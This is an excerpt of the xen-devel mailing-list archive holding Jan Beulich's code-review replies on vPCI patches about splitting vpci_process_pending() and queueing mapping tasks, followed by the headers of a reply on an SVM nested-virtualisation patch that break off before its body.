DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785155004; x=1785759804; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=egNyHdNN2UvjznrPSLXfehphZBRnNfRmxXDWUw/tZNU=;
        b=O7s6f/QjgyPEPmiUUgSVLP2zmomIoLtMvSaugT9gmJtKe2quVA3IC6+oB/kCnC1rYA
         Z7RCHOorFB+sp+lXp6Yd98q1TooxJMlW5f1l0Vsjl9bvhVket0YW6+Fsf6hKIN6PVFwE
         DB+C0TJG05LZL47pPQr/cptQDJ6Edr4U1s3OEDfRrEtJDAXIIZ2tdg04N9JdSTnQm44p
         tDaC/3ZaPqyT2y0hJ5HF+H11lsMkplIAWxXtWFj32cTwNZtTa/B+RvmucDnklC57xaQb
         F+rVxlnFEmIhDsJw56ggfub0i8mwAlN6hn0gXiTBPokDqVQU3Vb5CvMNXJgtRbhI9DTe
         TqiQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785155004; x=1785759804;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=egNyHdNN2UvjznrPSLXfehphZBRnNfRmxXDWUw/tZNU=;
        b=DAluK9uPhA0G9Kruu2ylTsNAZaQgRBHRp34lJPBKcrkccZUBk+Fe82yMS6sawm+mrM
         Mg69M1yTfqIFViJ8nLpwgXYI7wBhgPqmaxvdeii3LuWupQupE/9HQmii7diZdL7XrnC5
         jXo39QqfhHnL+FbdOCEajaL0M6mItI/Hrd9sO7jiqodHr77NlZgMf1heI0JG/gupu5sK
         /on7KsEgWahje+X9OTW5PdmDVRJN+S7ZVfjw6LCw2qRwpvmIdDi/U9eI+9fLnVGvOogy
         AuGZ322UZ/Gyoj98FVV9I6U0rz8DM3kIVYLH5PYkgkao1csyX5rs7UfOWU4vwLGXkrbz
         8bBQ==
X-Forwarded-Encrypted: i=1; AHgh+RpV7hWfI7iKNsTdkl0ZExOciXObl44U7pzdtDNBuPWUwfbKKRHMpyUxUqTzMKmmKyJ1Q8BzdGsNh4g=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzF2/Vz4v16TTgh3uOmsidKlJNXriHAypci8/H730MZ88WwSZ6n
	P4kIoyPpC89Dvok/pRxu7Ble4Xs3zQFkc6XQ+4W+0nlOKzDUElhrkv5qWpRs5agMDw==
X-Gm-Gg: AR+sD11gdDICHavHXziIddE9USjmCEjEjyhnozQRlbSs8FEtxWspLGDnfaoB0TJtsmq
	wXl395YRA6EepF5berJ1Qi2sqb39q+3HlGyZj2sWJ7qLQ4QPDV3B3wbkUvj0EpeAIj93gPaEtaD
	Z/tO4XOqcJiifZPBIE+DXQIY+d7j49MIzIhGIEgXPVWspwkmljgtQ2mZiPjSJge1C38KwOxmZfU
	B4XcL6w6HHM79R7JNKA8t/s10qRrSetg8h3GdJaNgNpH9BgL3MyJgr4d5JFeDzyCjpuzeirI2eh
	zEjNcnqk4yxbu4QA2qm+W6W5LWcvZC9dMt+29s7ZSACUOGlw0VzbNa4KawUusLfeB7s+h01lvhF
	anSrLocz6gWJGLaKyrWHJS9mrPUO2kF6sjS5aDJxLwa+aTAqY2QhtPV+lMpXMlSeB3JjYJBShD7
	92pspFFjE6KwXoHTkGPMrbjUKD/Ufg7toFBNinJnNsimZ87dyOBQFN6f5za+p1U5DE3w==
X-Received: by 2002:a05:6000:4013:b0:47f:8603:a879 with SMTP id ffacd0b85a97d-47f9fe901e9mr11428489f8f.11.1785155004162;
        Mon, 27 Jul 2026 05:23:24 -0700 (PDT)
Message-ID: <5b8b6a2e-b074-4dc4-adc0-d7c242d04710@suse.com>
Date: Mon, 27 Jul 2026 14:23:22 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 7/9] vpci: split vpci_process_pending()
To: Stewart Hildebrand <stewart.hildebrand@amd.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-8-stewart.hildebrand@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260708210233.922275-8-stewart.hildebrand@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785155004-1F0C777B-E7E79EB0/0/0
X-purgate-type: clean
X-purgate-size: 805

On 08.07.2026 23:02, Stewart Hildebrand wrote:
> Create a new function to separate the mapping logic from the pdev
> validation and lock-acquiring logic. Slightly consolidate exit paths for
> hardware_domain and !hardware_domain.
> 
> No functional change.

Is this then just for the sake of splitting, perhaps indeed helping clarity some?
Or is this split also going to be leveraged later?

> --- a/xen/drivers/vpci/header.c
> +++ b/xen/drivers/vpci/header.c
> @@ -102,23 +102,12 @@ static int cf_check map_range(
>      return rc;
>  }
>  
> -bool vpci_process_pending(struct vcpu *v)
> +static int process_map_task(const struct pci_dev *pdev, bool map)

In the end it'll of course be Roger's call, yet I wonder: What's the significance
of "task" in the new function's name?

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 12:32:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 12:32:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371663.1619145 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKV9-0007Gb-SN; Mon, 27 Jul 2026 12:32:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371663.1619145; Mon, 27 Jul 2026 12:32:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKV9-0007GU-Op; Mon, 27 Jul 2026 12:32:11 +0000
Received: by outflank-mailman (input) for mailman id 1371663;
 Mon, 27 Jul 2026 12:32:09 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woKV7-0007GO-Tl
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:32:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woKV6-00BdIA-Mg
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 14:32:08 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a674fbd-bab6-0a2a0a5309dd-0a2a4507e916-36
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:32:08 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a674fc2-b4ea-0a2a45070019-d1558036bccc-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:32:03 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so18401105e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 05:32:03 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957f9ae5c3sm317860385e9.3.2026.07.27.05.32.01
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 05:32:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785155522; x=1785760322; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=VOBLruOjWVa15LATPjQeGrS7AXROMCpYrldYgMQZ5PI=;
        b=cPfiSj15pGjvjUfYMIyd6gumN6X5IdRhpwhS9son0VWL8gyJYXn93BtF7k4tnBi9MQ
         Mp0zPbd6ikceU0qAtpfsyOnjugd0RYPkEAq+kPR+NggcGdfnJERXzYzkAuKfH5bagWo+
         sFf4iZoXeKuT+/XNJMjtP4T3VrQHCSKpNvWBRVoRMYhoZ+1y5u1GVPxiU8PnF4us77Dm
         mDeNVMvtUoDo5czT1PNUBPIvNKokM2UJ4EsCu71E1oFj/aySiFM71ChXhWeiZC9YKup5
         PhqSAiwLFN8R6qxWZtqqO8hzNo5X2j2Rh3Nd7Aau/iPBirl6nMA8sz1/ARPSP5w6rBSL
         C4Ng==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785155522; x=1785760322;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=VOBLruOjWVa15LATPjQeGrS7AXROMCpYrldYgMQZ5PI=;
        b=B6+/MDRd7l6fC4V2o9Vv52QRUbLy5HjEUMUzxI3TO28qsxNeoYQCTtqCyF4HzMYKrC
         COLevzCF01QBkXgk1yaDJuJjz41gRcRquH4LJ9Dw855jkpa0DDeWlhtPymA4bG7XxNoN
         kSHKYppJKKdrxS3yfeagSHAgCDUq7neRi6rAvfcnAMdlNHzQlg7yW4MWDax2wH8Iq9NZ
         Bc11tlzOM81+skbBxvk2jCvZYQ+0MsHRIjrgdIa5QBdJQM03xecL0iL1OM0GCJexoen7
         voOJY4Ir1c+1qNeGpTJglwzmXtja41wV1Q2W5sz7P3gsxzboS09A+NSWJ6ksZbjtBFoz
         49wQ==
X-Forwarded-Encrypted: i=1; AHgh+Rqsm6evxrYpj+CO47CJYIEjofXOH23AcHZlqJsMZArYIq4VxJZwXpDfebeEZr68ytJgg8sSn8Ck8Fc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyprTuS7UIMb9kvbTUbOvXlWrGavkz4/Fhrmx/H99MDAsL2x694
	wOum3CK5WVy6JQsrlVhjCIZkDnxjepzrwvjkdc+e/FvBX4jfNfe1TsxewkCnaKkIHQ==
X-Gm-Gg: AR+sD107vU33hl2Rp12jiCal0CYg6QnNsikHGeYa5MCoVEMLaFFQgr8pEI5GSu6ZqrN
	VpGIdKZ0YZS2UalfQCPicjdqJbnd3Hp15DqBYajhCR+g9f+krLdg49lt55TkH4zTYU6RezG+W60
	9W0X+/sXHb6Mq2DpS0iTqag2IAK/0TW0z3j3ihNReJ4Pf7HSTdcKGhHJMg1ph0hB6pTkaUo5Xmr
	wBqBFpTnXcaJDnOcJ9I72qHsPcka8zoqt/CWwv3Vd5V1XRIi5ZZ50gdZTthKIwaAlUu9IlcHQE3
	iWYdgEQ62FK53/oiYWvpmqAEVcPa8aTC7pMyB9nXAtHt6whDAhZZOQ81Jqu7+UXHSvBNVL8irHS
	YVG26Mu7JZmMg/fWeTm3ctykAmr3DuS8H47m2DiW5DtuQOepfnuMca25roy4TwLvJa5INv7bAHE
	UNqWRXCxb/TSTnYZgw5+nP4fFbRlbH0HxPpVnp5MrBC3wYkEh60FGEquvSa/4EX/ve7mAxk+0rk
	6rk
X-Received: by 2002:a05:600c:190b:b0:493:bcba:46a4 with SMTP id 5b1f17b1804b1-496b570dbb0mr104579715e9.20.1785155522528;
        Mon, 27 Jul 2026 05:32:02 -0700 (PDT)
Message-ID: <8f8d902a-b464-4e18-bec4-90b45edae4c8@suse.com>
Date: Mon, 27 Jul 2026 14:32:01 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 8/9] vpci: allow queueing of mapping operations
To: Stewart Hildebrand <stewart.hildebrand@amd.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Mykyta Poturai <mykyta_poturai@epam.com>, xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-9-stewart.hildebrand@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260708210233.922275-9-stewart.hildebrand@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785155523-A5EC6AE4-D19ED8F7/0/0
X-purgate-type: clean
X-purgate-size: 952

On 08.07.2026 23:02, Stewart Hildebrand wrote:
> +static struct map_task *alloc_map_task(const struct pci_dev *pdev, bool map,
> +                                       bool rom_only)
> +{
> +    struct map_task *task;
> +    unsigned int i;
> +
> +    task = xvzalloc(struct map_task);
> +    if ( !task )
> +        return NULL;

Just one remark here, as generally I'm trying to stay away from this: From what
Stefano said on earlier occasions (more generally, and not on any vPCI-specific
thread) new runtime allocations want avoiding for the purposes that you have.
How come such a crucial one, required for correct operation at potentially any
point in time, is then deemed acceptable? Even more so as, from the description,
only single items will be queued right now anyway, i.e. this apparently being a
step towards worse overall behavior? This aspect imo needs explicitly discussing
and justifying in the description.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 12:36:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 12:36:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371672.1619154 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKZV-0007vS-Fu; Mon, 27 Jul 2026 12:36:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371672.1619154; Mon, 27 Jul 2026 12:36:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woKZV-0007vL-Cn; Mon, 27 Jul 2026 12:36:41 +0000
Received: by outflank-mailman (input) for mailman id 1371672;
 Mon, 27 Jul 2026 12:36:40 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ross.lagerwall@citrix.com>) id 1woKZU-0007vF-7z
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 12:36:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woKZT-003kqk-HC
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 14:36:39 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ross.lagerwall@citrix.com>)
 id 6a6750d6-2eae-0a2a0a5409dd-0a2a4505cd8a-2
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:36:39 +0200
Received: from [52.101.46.55]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ross.lagerwall@citrix.com>)
 id 6a6750d5-4cb1-0a2a45050019-34652e373a30-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 14:36:39 +0200
Received: from CH8PR03MB8274.namprd03.prod.outlook.com (2603:10b6:610:2ba::5)
 by DM6PR03MB5210.namprd03.prod.outlook.com (2603:10b6:5:246::20) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 12:36:35 +0000
Received: from CH8PR03MB8274.namprd03.prod.outlook.com
 ([fe80::ebe2:32c1:d2be:a096]) by CH8PR03MB8274.namprd03.prod.outlook.com
 ([fe80::ebe2:32c1:d2be:a096%7]) with mapi id 15.21.0223.017; Mon, 27 Jul 2026
 12:36:35 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=FWumqU4LkTG/SvKoalQqU5MS+lgKx+oKcocRHGnK9Kzi4xecwuTRKS2KFsgud7PTb94XhEcCyKTd7QVs9/nJc9YJ6g/pW566q4ou6RGQ5jhZUSBeFpucMrj1tUvwus4oHLxHpjahC3fgvkesB4a/G0KatDxfxTWHH74YdDJx3E9KY+2Pe4NdXOY7Skzx3VwOD60yreUrOYYPhXmeFTNd/QF1Q0eKKdOlnsgux9NGT5FUWh7ZgPmjaur79kf1VVA1pTNifBL7LlTrEz/l2LHDZiTkwfyDQIyQFw/BeveiQQ+k59KLgN+Lfclc3gVFQB/fMTY3iA61BLHfPJJ20doyHQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=OnpeTxZQBAM5/IHaaPNeleJuM+UxZA8y7dnaefJaTxA=;
 b=bIQDYjHRYwUin/58+E93FZGJGG1hUUHbqL1LIoEdb701Fce3bJ/hIYyU1ZcxkfZzX4wQqLjXZ4kwXe1+dmzDPHPnGzmezYBmR2U6NmGTZKJJFkHVocnua8bN15ZxWXP53rCltAfOVjytNU7SnBS1GqGkJLHYU7vxTA6uJTO785ctg/xxdR+CxlSdV6/JhVNKk0iysyJ2HCzqSZPt52QraybD60Mcdv5VwNGeLm7Y2qS0ZN7BzO4xtQ0DyK59I0TzvyCzFbYAQ0R/I4V/Cm1tYSkJUuoKGf196WxBfWdg3kizRYYaoy4da1P1RK+zfmvFPZeHTnc+StRkfMOBDNMTZA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=OnpeTxZQBAM5/IHaaPNeleJuM+UxZA8y7dnaefJaTxA=;
 b=jR81vZvzAnwfdQW8gwilhaoAZShoLVqNbKYRTIvyFnVAfHv0RL5WH8MBK/nyMhfTaDnyirXnBWKZ8nHheqHc75hJg8I5BaLPU6+8mdXDRhcv6c9gWxY1GGwF7geeQZYZ4H5aea35coNTZ3ujjfcpPBi909k1AGnVwgPACiFKyHU=
From: Ross Lagerwall <ross.lagerwall@citrix.com>
To: Teddy Astie <teddy.astie@vates.tech>,
	=?utf-8?B?U3RlcGhlbiBDaGVuZyDvvIjnqIvlsI/mnqvvvIk=?=
	<stephen.cheng@citrix.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
CC: Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, Michal Orzel <michal.orzel@amd.com>, Jan Beulich
	<jbeulich@suse.com>, Julien Grall <julien@xen.org>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger@xenproject.org>, Stefano
 Stabellini <sstabellini@kernel.org>, Jason Andryuk <jason.andryuk@amd.com>
Subject: Re: [PATCH] x86/svm: require VMSAVEvirt for nested virt
Thread-Topic: [PATCH] x86/svm: require VMSAVEvirt for nested virt
Thread-Index: AQHdHZgDgUepMUDe+06Vza+F9KISebaBQH8AgAALr2s=
Date: Mon, 27 Jul 2026 12:36:35 +0000
Message-ID:
 <CH8PR03MB82746A032E40CEFA692FE867F0CC2@CH8PR03MB8274.namprd03.prod.outlook.com>
References: <20260727071709.196088-1-stephen.cheng@citrix.com>
 <1785152912.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@vates.tech>
In-Reply-To:
 <1785152912.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@vates.tech>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
msip_labels:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: CH8PR03MB8274:EE_|DM6PR03MB5210:EE_
x-ms-office365-filtering-correlation-id: 397f36cd-9147-48d8-5e41-08deebdbb253
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|23010399003|366016|1800799024|18002099003|10067099003|22082099003|56012099006|11063799006|4143699003|5023799004|3023799007|38070700021|6133799003;
x-microsoft-antispam-message-info:
